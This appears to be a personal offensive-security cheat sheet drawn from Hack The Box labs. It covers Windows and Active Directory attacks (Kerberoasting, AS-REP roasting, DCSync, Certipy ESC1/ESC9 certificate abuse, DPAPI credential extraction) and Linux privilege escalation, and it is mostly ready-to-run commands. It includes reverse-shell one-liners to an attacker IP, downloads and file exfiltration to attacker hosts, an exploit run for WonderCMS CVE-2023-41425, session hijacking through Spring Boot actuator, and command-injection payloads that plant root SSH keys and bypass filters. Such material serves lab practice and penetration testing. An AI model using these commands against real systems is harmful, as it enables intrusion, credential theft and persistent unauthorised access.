Get-ChildItem -Force C:\Users\<user>\Desktop
Get-ChildItem -Force C:\ProgramData
Why - Hidden files often contain credentials, config files, or sensitive data - Recycle Bin may have deleted archives, scripts, or credential stores - PowerShell history frequently contains plaintext passwords
Flags/Notes
- -Force = show hidden, system, and other normally hidden files
- Mode column: d--hs = Directory, Hidden, System
- Position 1: d = directory, - = file
- Position 4: h = hidden
- Position 5: s = system
- Recycle Bin structure:
- C:\$RECYCLE.BIN\{USER-SID}\
- $I files = metadata (148 bytes, contains original path/filename)
- $R files = actual deleted content (recover these!)
- Format-Hex reveals Unicode strings in binary metadata files
- No naming convention for hidden files in Windows (unlike Linux .files)
- Files are hidden via attributes, not filename patterns
Alternate Data Streams (ADS)¶
Command (CMD)
# Reveal alternate data streams on files in a directory
dir /R C:\Users\Administrator\Desktop
# Read an alternate data stream
more < filename.txt:hidden_stream:$DATA
# Example output of dir /R:
# hm.txt
# 34 hm.txt:root.txt:$DATA ← hidden stream!
Command (PowerShell)
# List all streams on a file
Get-Item -Path C:\path\to\file -Stream *
# Read a specific stream
Get-Content -Path C:\path\to\file -Stream <stream_name>
# Search recursively for files with ADS
Get-ChildItem -Recurse | ForEach-Object { Get-Item $_.FullName -Stream * } | Where-Object { $_.Stream -ne ':$DATA' }
Why
- NTFS Alternate Data Streams allow hiding data INSIDE a file
- Normal dir and type don't show or read ADS
- HTB/CTF boxes use ADS to hide flags (hint: "look deeper")
- Real-world malware uses ADS to hide payloads
Flags/Notes
- dir /R = only way to see ADS in cmd.exe
- type CANNOT read ADS - use more < with the full stream path
- ADS format: filename:streamname:$DATA
- :$DATA is the default (main) stream - other streams are hidden
- Always check ADS when a file says "look deeper" or flag seems missing
- Common on HTB boxes for hiding root flags
Base64 Decoding in Config Files¶
Command
# Identify base64 (look for = padding at end)
cat config.ini | grep '='
# Decode base64 strings
echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d
# Decode from file
base64 -d encoded.txt > decoded.txt
Why - Config files often obfuscate passwords with base64 encoding - Common in WAPT, application configs, deployment scripts
Flags/Notes
- Base64 strings often end with = or == (padding)
- Not encryption, just encoding (easily reversible)
- Always check config files for: password, secret, key, token fields
File Transfer Methods¶
Linux to Windows¶
Method 1: Python HTTP Server + PowerShell Download (Most Reliable)
# On Kali (attacker)
cd /path/to/files
python3 -m http.server 8080
# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"
# Short alias
iwr -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"
Method 2: SCP with Kerberos (requires Kerberos auth setup)
# From Kali to Windows (if TGT is active)
scp 'user@hostname:C:/$PATH/$TO/$FILE' ./local-file
# Windows path format: C:/ (forward slashes, not backslashes)
# Protect $ in filenames with single quotes
Method 3: certutil (Built-in Windows downloader)
# On Windows (CMD or PowerShell)
certutil -urlcache -f http://<attacker-ip>:8080/<file> C:\path\to\output
Method 4: SMB (requires admin access to C$)
# From Kali
impacket-smbclient <domain>/<user>:'<pass>'@<IP>
use C$
cd path\to\directory
put <local-file>
get <remote-file>
Windows to Linux¶
Method 1: SCP (with Kerberos or password auth)
# From Kali
scp 'user@hostname:C:/$PATH/$FILE' ./destination
# Works with active Kerberos TGT or password auth
Method 2: SMB Mount (as client)
# On Kali, share a directory
impacket-smbserver share /path/to/share -smb2support
# On Windows, copy to share
copy C:\path\to\file \\<attacker-ip>\share\
Method 3: Base64 Encoding (for small text files only)
# On Windows (PowerShell)
$content = Get-Content -Path "C:\path\to\file" -Raw
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
# Copy base64 output, paste on Kali
echo '<base64-string>' | base64 -d > file
Flags/Notes
- Avoid base64 for binaries (files >100KB become unwieldy)
- SCP Windows path format: C:/ (forward slashes), $ must be quoted
- Invoke-WebRequest is PowerShell's wget/curl equivalent
- certutil works on all Windows versions but may be flagged by AV
- Python HTTP server port 8080 (or any high port) to avoid permission issues
Kerberoasting — Decision Tree & Command Guide¶
When to Kerberoast¶
Decision Triggers:
- You have valid domain credentials (any authenticated user)
- You see SPNs (Service Principal Names) in domain — GetUserSPNs is your first check
- You're looking for crackable service account passwords
- BloodHound shows no direct ACL abuse paths (Kerberoasting is a "lateral movement via password cracking" fallback)
When NOT to Kerberoast: - You already have the hash or admin access (skip it) - No SPNs exist (quick to confirm — just run the check) - All SPNs are on machine accounts (SYSTEM@ SPNs are usually uncrackable)
Decision Flow¶
Do you have valid AD creds?
├── NO → Try AS-REP Roasting (pre-auth disabled users: GetNPUsers)
└── YES → Run GetUserSPNs
├── No SPNs found → Dead end, pursue other paths
├── SPNs on MACHINE accounts only → Usually uncrackable, skip
└── SPNs on USER accounts → Request TGS tickets → Crack offline
├── Cracked → New credential! Validate and pivot
└── Not cracked → Weak wordlist, try larger / different hash mode
Step 1: Sync Time (ALWAYS FIRST)¶
# Fix: disable the NTP service that keeps resetting your time
sudo systemctl stop systemd-timesyncd
sudo systemctl disable systemd-timesyncd
sudo ntpdate -s <DC_IP>
systemctl stop/disable= stops and prevents systemd-timesyncd from overwritingntpdate -s= silently sync your clock to the DC's time- Why: Kerberos requires client/server clocks within ±5 minutes (
KRB_AP_ERR_SKEW)
Step 2: List Kerberoastable Accounts¶
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP>
<domain>/<user>:'<pass>'= your authenticated credentials (format:domain/user:pass)-dc-ip= IP of Domain Controller (must resolve Kerberos traffic)- No
-requestflag yet = lists SPNs without requesting tickets (fast recon)
What you'll see:
ServiceName SPN Name CipherType
---------- --- ---- ----------
SQL MSSQLSvc/db01.domain.com:1433 sql_svc RC4-HMAC
HTTP HTTP/web01.domain.com web_svc AES256-CTS-HMAC-SHA1-96
Interpretation:
- ServiceName = the service type
- SPN = the full principal name (service/host:port)
- Name = the user account backing this SPN — this is what you're attacking
- CipherType = RC4-HMAC (mode 13100) is faster to crack than AES256 (mode 19700)
Step 3: Request and Capture TGS Hashes¶
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request
-request= actually request TGS tickets (the crackable hashes)- Output:
$krb5tgs$23$*...strings — save these directly
Save output:
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request -output kerberoast_hashes.txt
-output= writes hashes to file for offline cracking
Step 3b: Targeted Kerberoast (attack one specific account)¶
python3 targetedKerberoast.py -d '<domain>' -u '<user>' -p '<pass>' --use-ldaps -t <target_user>
-d= domain name-u/-p= your credentials--use-ldaps= LDAPS (port 636) instead of LDAP — use when standard LDAP is blocked-t= specific target account (attack only one SPN)
Step 4: Crack Hashes Offline¶
# RC4 hashes (mode 13100) — most common, faster to crack
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
# AES256 hashes (mode 19700) — slower
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
-m 13100= Kerberos TGS-REP etype 23 (RC4)-m 19700= Kerberos TGS-REP etype 18 (AES256)--force= run even with performance warnings (fine for lab)
Cracked result:
$krb5tgs$23$*sql_svc*...:Password123!
: is the plaintext password
Step 5: Validate New Credentials¶
nxc smb <DC_IP> -u <cracked_user> -p '<cracked_pass>'
AS-REP Roasting (Kerberoast's Companion)¶
When: No valid creds yet, or looking for accounts with pre-auth disabled
# Anonymous — no creds needed
impacket-GetNPUsers <domain>/ -no-pass -dc-ip <DC_IP> -format hashcat
# With a user list
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat
GetNPUsers= Get accounts with No Pre-auth (AS-REP Roasting)-usersfile= file with one username per line to check-no-pass= don't prompt for password (anonymous)-format hashcat= output in crackable format- Crack mode:
hashcat -m 18200
Impacket Suite — Tool Map & Decision Guide¶
Quick-Reference: Which Tool for Which Job¶
NEED TO... USE THIS TOOL
──────────────────────────────────────────────────────────
List Kerberoastable accounts? impacket-GetUserSPNs
Find pre-auth disabled accounts? impacket-GetNPUsers
Request Kerberos TGT? impacket-getTGT
Dump AD hashes (DCSync)? impacket-secretsdump
Connect to MSSQL? impacket-mssqlclient
Browse SMB shares? impacket-smbclient
Run commands on Windows? impacket-psexec
Change object ownership? impacket-owneredit
Modify ACL/DACL? impacket-dacledit
Relay NTLM auth? impacket-ntlmrelayx
Serve SMB share (capture hashes)? impacket-smbserver
impacket-GetUserSPNs (Kerberoasting)¶
When: You have creds + want to find crackable service passwords
# List SPNs only (fast recon)
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP>
# List + Request TGS hashes (the actual attack)
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request
# Save hashes to file
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request -output hashes.txt
# With NT hash instead of password
impacket-GetUserSPNs <domain>/<user> -dc-ip <DC_IP> -hashes ':<NT_HASH>' -request
-hashes ':<NT_HASH>'= authenticate with hash (Pass-the-Hash)- Note the colon before the hash:
:<hash>= NTLM-only hash (no LM prefix)
impacket-GetNPUsers (AS-REP Roasting)¶
When: No creds yet, or looking for accounts without pre-auth
# Anonymous enumeration
impacket-GetNPUsers <domain>/ -no-pass -dc-ip <DC_IP> -format hashcat
# With user list
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat
impacket-getTGT (Kerberos Ticket Acquisition)¶
When: Need a TGT for Kerberos-based attacks (PKINIT, Kerberos auth tools)
# Password auth
impacket-getTGT <domain>/<user>:'<pass>' -dc-ip <DC_IP>
# Hash auth
impacket-getTGT <domain>/<user> -dc-ip <DC_IP> -hashes ':<NT_HASH>'
# Certificate auth (PKINIT — after certipy exploitation)
impacket-getTGT <domain>/<user> -dc-ip <DC_IP> -cert-file <user>.pfx
- Saves ticket to
<user>.ccache - After running:
export KRB5CCNAME=./<user>.ccache - Verify:
klist
impacket-secretsdump (DCSync)¶
When: You have creds with replication rights → dump ALL domain hashes
# With password
impacket-secretsdump '<domain>/<user>:<pass>@<DC_HOSTNAME>'
# With NT hash
impacket-secretsdump '<domain>/<user>@<DC_HOSTNAME>' -hashes ':<NT_HASH>'
# Local dump only (on the machine, not DCSync)
impacket-secretsdump -local '<domain>/<user>:<pass>@<DC_HOSTNAME>'
-local= dump from local machine only (no DCSync, less noisy)- Without
-local= performs DCSync (requires DS-Replication-Get-Changes) - Output includes: All user NT hashes, krbtgt hash (Golden Ticket material)
impacket-smbclient (SMB File Browser)¶
When: Browse shares, transfer files, enumerate content
impacket-smbclient '<domain>/<user>:<pass>@<DC_HOSTNAME>'
# Interactive commands:
# shares → list shares
# use <share> → connect to share
# ls → list files
# get <file> → download file
# put <file> → upload file
# cd <dir> → change directory
impacket-mssqlclient (MSSQL Connection)¶
When: MSSQL on target, have credentials
# AD authentication (user is domain account)
impacket-mssqlclient <domain>/<user>:'<pass>'@<IP>
# SQL authentication (user is local SQL account)
impacket-mssqlclient <user>:'<pass>'@<IP>
- Key difference: Include
<domain>/prefix for AD auth, omit for SQL auth
impacket-owneredit (Change Object Ownership)¶
When: BloodHound shows WriteOwner → take ownership of target object
impacket-owneredit -action write -new-owner '<domain>\\<your_user>' -target '<target_user_or_group>' '<domain>/<your_user>:<pass>' -dc-ip <DC_IP>
-action write= change the owner (usereadto see current owner)-new-owner= who becomes the new owner (backslash notation:domain\\user)-target= the AD object you're taking ownership of- Why you want this: As owner, you can then modify the DACL (next tool)
impacket-dacledit (Modify ACL Permissions)¶
When: You own an object (or have WriteDACL) → grant yourself permissions
impacket-dacledit -action write -rights 'WriteMembers' -target '<target_group>' -new-rights-principal '<domain>\\<your_user>' '<domain>/<your_user>:<pass>' -dc-ip <DC_IP>
-action write= add an ACE (usereadto see current ACLs)-rights= specific right to grant (WriteMembers, GenericWrite, ResetPassword)-new-rights-principal= who gets the permission (backslash notation)- Chain: owneredit (take ownership) → dacledit (grant rights) → exploit the rights
impacket-psexec (Remote Execution)¶
When: Need to run commands on Windows without WinRM
impacket-psexec '<domain>/<user>:<pass>@<DC_HOSTNAME>' '<command>'
Certipy — Full Workflow Guide¶
The 5 Core Certipy Commands¶
certipy find → Enumerate CAs, templates, vulnerabilities
certipy req → Request a certificate from a CA
certipy auth → Authenticate to DC using a certificate (get TGT/NT hash)
certipy shadow → Shadow Credentials attack (extract NT hash non-destructively)
certipy account → Modify AD account attributes (UPN manipulation for ESC9)
Step 1: Find (Enumeration)¶
certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>'
Common additions:
# Only enabled templates (reduces noise)
certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>' -enabled
# Only vulnerable templates
certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>' -enabled -vulnerable
# With hash auth
certipy find -dc-ip <DC_IP> -u <user>@<domain> -hashes ':<NT_HASH>' -enabled -vulnerable
-enabled= filter to only active templates-vulnerable= only show templates with known ESC vulnerabilities-hashes= authenticate with NT hash instead of password
Key output fields:
Template Name : ExampleTemplate
Enabled : True ← Must be True
Client Authentication : True ← Must be True for ESC1
Enrollee Supplies Subject : True ← ESC1 trigger
Enrollment Permissions
Enrollment Rights : DOMAIN\someuser ← Can YOU enroll?
[!] Vulnerabilities
ESC1 : ... ← Exploitable!
ESC9 : NoSecurityExtension ← UPN manipulation
Decision after certipy find:
What vulnerabilities are flagged?
├── ESC1 → Enrollee Supplies Subject + Client Auth
│ └── certipy req with -upn (spoof UPN directly)
├── ESC9 → NoSecurityExtension flag
│ └── certipy account update (change UPN) → req → auth → restore UPN
├── ESC4 → Template has writable properties
│ └── certipy template modify (add ESC1) → req → auth
├── No ESC flagged → Check enrollment rights
│ └── Can you enroll? If not, find ACL path to someone who can
└── Only Shadow Credentials viable → certipy shadow
Step 2: Request a Certificate (certipy req)¶
ESC1 — Spoof UPN directly (you control Subject Alternative Name):
certipy req -dc-ip <DC_IP> -u <enrolling_user>@<domain> -p '<pass>' -ca <CA_NAME> -template <TEMPLATE_NAME> -upn administrator@<domain>
-u <enrolling_user>= user WITH enrollment rights on the template-ca <CA_NAME>= exact CA name fromcertipy findoutput-template <TEMPLATE_NAME>= exact template name fromcertipy find-upn administrator@<domain>= the identity you're spoofing (target)- Output:
administrator.pfx(certificate + private key)
ESC9 — UPN must be changed FIRST (see ESC9 section below)
Step 3: Authenticate with Certificate (certipy auth)¶
certipy auth -pfx <user>.pfx -dc-ip <DC_IP> -domain <domain>
-pfx= the certificate file fromcertipy req- Output: TGT (
<user>.ccache) + NT hash extracted from PAC - NT hash: Copy this — it's your Pass-the-Hash credential
After auth:
# Option A: Use TGT (Kerberos auth)
export KRB5CCNAME=<user>.ccache
evil-winrm -i <DC_IP> -r <REALM> -u <user> -k
# Option B: Use NT hash (Pass-the-Hash)
evil-winrm -i <DC_IP> -u <user> -H '<NT_HASH>'
Step 4: Shadow Credentials (certipy shadow)¶
When: You have Write access to target's msDS-KeyCredentialLink (GenericWrite, GenericAll, or specific WriteProperty)
# All-in-one: create cert → add Key Credential → authenticate → extract hash
certipy shadow auto -u <your_user>@<domain> -p '<pass>' -account <target_user> -dc-ip <DC_IP>
# Manual workflow (if auto fails):
certipy shadow add -u <your_user>@<domain> -p '<pass>' -account <target_user> -dc-ip <DC_IP>
certipy shadow auth -username <target_user> -dc-ip <DC_IP>
shadow auto= automated full chain-account <target_user>= the user whose hash you want (you must have Write access to this user)shadow add= only adds Key Credential attributeshadow auth= authenticates using the Key Credential- Output: NT hash for target_user
Common issue: If auto fails, try splitting into add + auth separately.
Step 5: Account Update (certipy account — for ESC9)¶
When: ESC9 vulnerability (NoSecurityExtension on template)
certipy account update -u <your_user>@<domain> -p '<pass>' -user <user_to_modify> -upn <identity_to_spoof> -dc-ip <DC_IP>
-user <user_to_modify>= the account YOU CONTROL (e.g., ca_operator)-upn <identity_to_spoof>= who you want to become (e.g., Administrator)- You must have GenericWrite or equivalent over the
-usertarget
ESC9 Full Attack Chain¶
# Step 1: Change controlled user's UPN to Administrator
certipy account update -u <your_user>@<domain> -p '<pass>' -user <controlled_user> -upn Administrator -dc-ip <DC_IP>
# Step 2: Request certificate (cert has Administrator UPN, but no objectSid)
certipy req -dc-ip <DC_IP> -u <controlled_user>@<domain> -p '<controlled_pass>' -ca <CA_NAME> -template <TEMPLATE_NAME>
# Step 3: RESTORE controlled user's UPN (cleanup)
certipy account update -u <your_user>@<domain> -p '<pass>' -user <controlled_user> -upn <controlled_user>@<domain> -dc-ip <DC_IP>
# Step 4: Authenticate → get Administrator's NT hash
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> -domain <domain>
Why ESC9 works:
- Templates with NoSecurityExtension flag don't embed the user's objectSid
- Normally KDC checks: "Does the SID in this cert match the account?" → denied if mismatch
- Without SID: KDC authenticates by UPN alone → if UPN says "Administrator", you get Administrator's TGT
- Attack direction: You modify the account you control, not the target
- Step 3 (restore) prevents the controlled account from staying broken
DPAPI (Data Protection API) Credential Extraction¶
What: Windows encryption API for protecting user secrets (saved credentials, browser passwords, certificates, RDP passwords)
When to use:
- Standard domain user with no ACL paths or dangerous Windows privileges
- Found user credentials → check their DPAPI for admin account passwords
- Administrative account exists but password unknown
- cmdkey /list shows saved credentials
Attack flow: User's password → decrypt DPAPI master keys → decrypt credential blobs → extract plaintext credentials
Step 1: DPAPI Enumeration¶
Check for saved credentials:
# From Windows shell (evil-winrm, RDP, etc.)
cmdkey /list
# Check for DPAPI master keys
dir C:\Users\<username>\AppData\Roaming\Microsoft\Protect\ -Force
# Check for credential blobs
dir C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\ -Force
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\ -Force
# Check for browser credentials (user-level DPAPI)
dir "C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
dir "C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data"
Flags/Notes:
- Master keys: %APPDATA%\Microsoft\Protect\<USER-SID>\<GUID> files
- Credential blobs: %APPDATA%\Microsoft\Credentials\<GUID> or %LOCALAPPDATA%\Microsoft\Credentials\
- If cmdkey /list is empty, DPAPI may still have saved credentials
- Look for both Roaming and Local AppData locations
Step 2: DPAPI Decryption (Method 1 - SharpDPAPI, easiest)¶
Download SharpDPAPI:
# On Kali
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/SharpDPAPI.exe
# Transfer to target via SMB
impacket-smbserver share . -smb2support -username test -password test
Run on Windows:
# Copy from Kali SMB share
copy \\<YOUR_VPN_IP>\share\SharpDPAPI.exe C:\Users\<username>\Documents\
# Decrypt all saved credentials
.\SharpDPAPI.exe credentials /password:<user_password>
# Decrypt browser passwords
.\SharpDPAPI.exe chrome /password:<user_password>
.\SharpDPAPI.exe edge /password:<user_password>
Flags/Notes:
- credentials = decrypt Windows Credential Manager vaults
- /password:<password> = user's plaintext password (needed to decrypt DPAPI master keys)
- Automatically finds and decrypts all DPAPI-protected data for current user
- Output: Target, Username, Password for all saved credentials
Step 3: DPAPI Decryption (Method 2 - dpapi.py manual, educational)¶
Download DPAPI files to Kali:
# From evil-winrm
download C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID> /path/to/loot/dpapi/masterkeys
download C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\<GUID> /path/to/loot/dpapi/credential.blob
Decrypt master key:
cd /path/to/loot/dpapi
# Find the master key GUID (in the SID directory)
ls masterkeys/<USER-SID>/
# Decrypt master key with user's password
dpapi.py masterkey -file masterkeys/<USER-SID>/<MASTERKEY-GUID> -sid <USER-SID> -password '<user_password>'
Flags/Notes:
- dpapi.py = Impacket tool for DPAPI operations
- -file = path to master key file
- -sid = user's SID (from directory name: S-1-5-21-...)
- -password = user's plaintext password
- Output: Decrypted master key in hex format (save this!)
Decrypt credential blob:
# Use decrypted master key from previous step
dpapi.py credential -file credential.blob -key <DECRYPTED_MASTERKEY_HEX>
Flags/Notes:
- -file = credential blob file (GUID filename)
- -key = decrypted master key in hex (from previous command)
- Output: Decrypted credentials (username + password)
Step 4: Alternative Tools¶
pypykatz (Python):
# Decrypt with pypykatz
pypykatz dpapi masterkey <masterkey_file> <password>
pypykatz dpapi credential <credential_blob> <decrypted_masterkey_hex>
Mimikatz (Windows):
# Decrypt DPAPI with Mimikatz
mimikatz # dpapi::masterkey /in:<masterkey_file> /password:<password>
mimikatz # dpapi::cred /in:<credential_blob> /masterkey:<hex>
DPAPI Troubleshooting¶
CRYPTPROTECT_SYSTEM flag error:
- If credential has CRYPTPROTECT_SYSTEM flag → encrypted by SYSTEM account, not user
- Cannot decrypt with user password
- Solution 1: Try browser credentials instead (user-level DPAPI)
- Solution 2: Get SYSTEM access first, then decrypt
- Solution 3: Use domain DPAPI backup keys (if Domain Admin)
No credentials found:
- Check both AppData\Roaming\Microsoft\Credentials\ AND AppData\Local\Microsoft\Credentials\
- Try browser credential extraction (Chrome/Edge)
- Check Windows Vault: AppData\Local\Microsoft\Vault\ and AppData\Roaming\Microsoft\Vault\
- User may not have saved any credentials
SharpDPAPI decryption fails: - Verify you're using correct password - Check if master key GUID matches the credential blob's guidMasterKey - Try dpapi.py manual method for more detailed error messages
DPAPI Use Cases¶
Common scenarios: 1. Regular user → Admin account: User saves admin password in DPAPI → extract for privilege escalation 2. Backup files contain user creds → DPAPI: Found config file with regular user password → use DPAPI to get admin password 3. Browser passwords: User logged into admin panels via browser → extract saved passwords 4. RDP credentials: Saved RDP connections often use DPAPI → extract connection passwords 5. Service account credentials: Applications save service account passwords in DPAPI
Attack pattern: - Find user credentials (backup files, config files, default passwords) - Login as that user (WinRM, RDP, etc.) - Extract DPAPI credentials - Look for admin account passwords or lateral movement opportunities
DPAPI Tools Summary¶
| Tool | Platform | Use Case | Pros | Cons |
|---|---|---|---|---|
| SharpDPAPI | Windows | Quick extraction | Automatic, finds everything | Needs Windows shell |
| dpapi.py | Kali/Linux | Offline analysis | Educational, shows process | 2-step manual process |
| pypykatz | Kali/Linux | Offline analysis | Python-based, versatile | Different syntax |
| Mimikatz | Windows | Live extraction | Full feature set | May trigger AV |
Recommendation: - Production: SharpDPAPI (fastest) - Learning: dpapi.py (understand the process) - Offline: dpapi.py or pypykatz (analyze downloaded files)
Linux Privilege Escalation — Internal Service Discovery¶
Command
# Quick-win checks first
id
sudo -l
find / -perm /4000 -type f 2>/dev/null
# THE KEY CHECK: internal services
ss -tlnp
# Alternative: netstat -tlnp
# Probe discovered internal service
curl -s http://127.0.0.1:<PORT>
curl -s http://127.0.0.1:<PORT> -u '<user>:<pass>' # Try known creds (password reuse!)
Why
- ss -tlnp reveals services bound to 127.0.0.1 that are invisible to external nmap scans
- Internal web apps on easy Linux boxes commonly run as root
- This is the highest-signal privesc check on Linux after sudo -l and SUID
Flags/Notes
- ss = socket statistics (modern replacement for netstat)
- -t = TCP, -l = listening, -n = numeric (no DNS), -p = show process
- Look for: 127.0.0.1:<port> entries NOT seen in nmap (external) scan
- Common ports: 8080, 8443, 3000, 9090, 5000 (web apps), 3306 (MySQL), 6379 (Redis)
- Always try password reuse — SSH creds often work for internal web apps (HTTP Basic, login forms)
- Learned from: HTB Sea
Linux Privilege Escalation — SSH Port Forwarding¶
Command
# Forward target's internal port to your Kali machine
ssh -L <local_port>:127.0.0.1:<remote_port> <user>@<target_ip>
# Example: forward internal 8080 to local 9090
ssh -L 9090:127.0.0.1:8080 amay@10.129.6.48
# Then browse on Kali:
# http://127.0.0.1:9090
# Or use Burp proxy on 127.0.0.1:9090
Why - Internal services bound to 127.0.0.1 can't be reached directly from Kali - SSH tunnel makes them accessible as if they're on your local machine - Enables Burp Suite interception for web app testing
Flags/Notes
- -L local_port:target_host:target_port = Local port forwarding
- Traffic flow: Kali:9090 → SSH tunnel → Target:127.0.0.1:8080
- Tunnel dies on box reboot — must re-establish after reboot
- Can also forward multiple ports: ssh -L 9090:127.0.0.1:8080 -L 9091:127.0.0.1:3306 user@target
- Learned from: HTB Sea
Linux Privilege Escalation — Command Injection in Web Apps¶
Command
# Common injection separators to test (via curl or Burp)
# Semicolon — ends command, starts new one
log_file=/var/log/access.log;id
# Pipe — pipe output to new command
log_file=/var/log/access.log|id
# Newline — break to new line
log_file=/var/log/access.log%0aid
# Backtick — command substitution
log_file=/var/log/access.log`id`
# $() — command substitution
log_file=/var/log/access.log$(id)
Why - Web apps that pass user input to shell commands (system(), exec(), backticks) are vulnerable - Internal "admin" or "monitoring" apps are often poorly secured — they were "never meant to be exposed" - If the app runs as root, command injection = instant root RCE
Flags/Notes
- Always use Burp to intercept requests first — don't guess parameter names with curl
- Path traversal and command injection often coexist in the same parameter
- Path traversal may read files but filter output (grep, regex) — command injection bypasses the filter
- --data-urlencode in curl for payloads with special characters
- If file read shows "no results" but no error → the app is filtering/grepping. Try ;id to break out
- Learned from: HTB Sea
Linux Privilege Escalation — SSH Key Injection (Persistence)¶
Command
# When you have command injection as root but reverse shells are unstable:
# 1. Get your public key on Kali
cat ~/.ssh/id_ed25519.pub
# or generate from private key: ssh-keygen -y -f ~/.ssh/id_ed25519
# 2. Inject via command injection (curl example)
curl -s http://127.0.0.1:9090/ -u 'user:pass' \
--data-urlencode 'param=value;mkdir -p /root/.ssh;echo <YOUR_PUBLIC_KEY> >> /root/.ssh/authorized_keys;chmod 600 /root/.ssh/authorized_keys' \
-d 'submit='
# 3. SSH as root
ssh -i ~/.ssh/id_ed25519 root@<target>
Why
- Reverse shells can be killed by .bashrc exit traps, process watchdogs, or unstable connections
- SSH key injection provides stable, persistent, interactive access
- Works even when PermitRootLogin is set to prohibit-password (key-only)
Flags/Notes
- mkdir -p /root/.ssh = create dir if missing (safe)
- >> authorized_keys = append (don't overwrite existing keys)
- chmod 600 = required permissions (SSH refuses if too open)
- When to use over reverse shell:
- Shell connects then immediately exits
- .bashrc contains exit/logout commands
- Connection is unstable or drops after seconds
- You need persistent access across reboots
- Doesn't work if: PermitRootLogin no in sshd_config, or SSH service not running
- Learned from: HTB Sea
WonderCMS Exploitation (CVE-2023-41425)¶
Command
# Identify WonderCMS: directory structure + OSINT
# data/, messages/, plugins/, themes/ + PHP + no DB port = flat-file CMS
# Check page source for author names → Google → WonderCMS community
# Get exploit
searchsploit -m php/remote/52271.py
dos2unix 52271.py # searchsploit copies often have encoding issues
# Terminal 1: HTTP server for XSS payload
python3 -m http.server <port>
# Terminal 2: Run exploit
python3 52271.py --url http://<target>/loginURL --xip <kali_ip> --xport <port>
# Terminal 3: Listener
rlwrap nc -lnvp <port>
# After webshell uploads, trigger reverse shell:
curl -s 'http://<target>/themes/malicious/malicious.php' --get \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<kali_ip>/<port> 0>&1'"
Why
- WonderCMS 3.4.2 has stored XSS in the contact form "Website" field
- When admin views submissions, JS payload executes → uploads PHP webshell as theme
- Webshell lands at /themes/malicious/malicious.php
Flags/Notes
- Identification chain: directory fingerprint → author OSINT → CMS community → theme match
- dos2unix = fix searchsploit encoding (silent failure without this)
- Credential location: database.json in data/ dir (bcrypt $2y$ hashes, hashcat -m 3200)
- Contact form "Website" field = XSS injection vector
- Exploit requires 3 terminals: HTTP server + exploit script + listener
- Learned from: HTB Sea
Spring Boot Actuator Exploitation¶
Command
# 1. Fingerprint: Whitelabel Error Page confirms Spring Boot
curl -s http://target/invalidpath
# "Whitelabel Error Page" → Spring Boot confirmed
# 2. Check actuator endpoints
curl -s http://target/actuator | python3 -m json.tool
# 3. Steal session (session hijacking — no password needed!)
curl -s http://target/actuator/sessions | python3 -m json.tool
# Returns: {"SESSION_ID": "username", ...}
# 4. Replace JSESSIONID cookie in browser DevTools → navigate to /admin
# Browser: DevTools → Storage/Application → Cookies → set JSESSIONID = stolen session ID
# 5. Other valuable endpoints
curl -s http://target/actuator/env | python3 -m json.tool # env vars, secrets
curl -s http://target/actuator/mappings | python3 -m json.tool # all API routes
Why
- Spring Boot Actuator is a built-in management module — devs enable it for debugging and forget to lock it down
- /actuator/sessions leaks active session IDs mapped to usernames → trivial session hijacking
- /actuator/env can leak database passwords, API keys, Spring datasource credentials
- /actuator/mappings reveals all API endpoints including hidden ones
Flags/Notes
- Detection chain: Whitelabel Error Page → Spring Boot → check /actuator → check each sub-endpoint
- JSESSIONID cookie swap in browser DevTools is all it takes to impersonate another user
- Internal URLs in actuator response (e.g., localhost:8080) confirm nginx reverse proxy architecture
- If no actuator, try /actuator/health alone — sometimes only health is exposed
- If it fails: endpoints might be behind auth or disabled. Check /actuator/mappings via other means, or try Spring Boot RCE exploits
- Learned from: HTB CozyHosting
Command Injection — Whitespace Bypass & Base64 Encoding¶
Command
# When spaces are filtered ("can't contain whitespace" errors):
# Use ${IFS} — Internal Field Separator, evaluates to space at runtime
# Basic ${IFS} bypass
username=admin;cat${IFS}/etc/passwd
# Base64 encoding bypass (avoids ALL special characters)
# Step 1: Encode your payload
echo -ne "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" | base64 -w0
# Step 2: Inject with ${IFS} replacing spaces, base64 decoding at runtime
curl http://target/endpoint \
--data-urlencode 'host=127.0.0.1' \
--data-urlencode 'username=admin;`echo${IFS}BASE64_STRING|base64${IFS}-d|bash`;#'
Why
- Many web apps filter spaces but don't filter ${IFS} — it's a variable, not a literal space
- Base64 encoding sidesteps ALL special character issues (spaces, >&, quotes, pipes)
- The # at the end comments out any text the server appends (e.g., @hostname in SSH commands)
Flags/Notes
- ${IFS} = bash Internal Field Separator (space/tab/newline). Bypasses string-level whitespace checks
- -w0 on base64 = no line wrapping (line breaks would break the injection)
- --data-urlencode in curl = properly encodes $, {, ; for transport
- Bad fd number error = server shell is sh/dash, NOT bash. /dev/tcp/ is bash-only → wrap in bash -c '...'
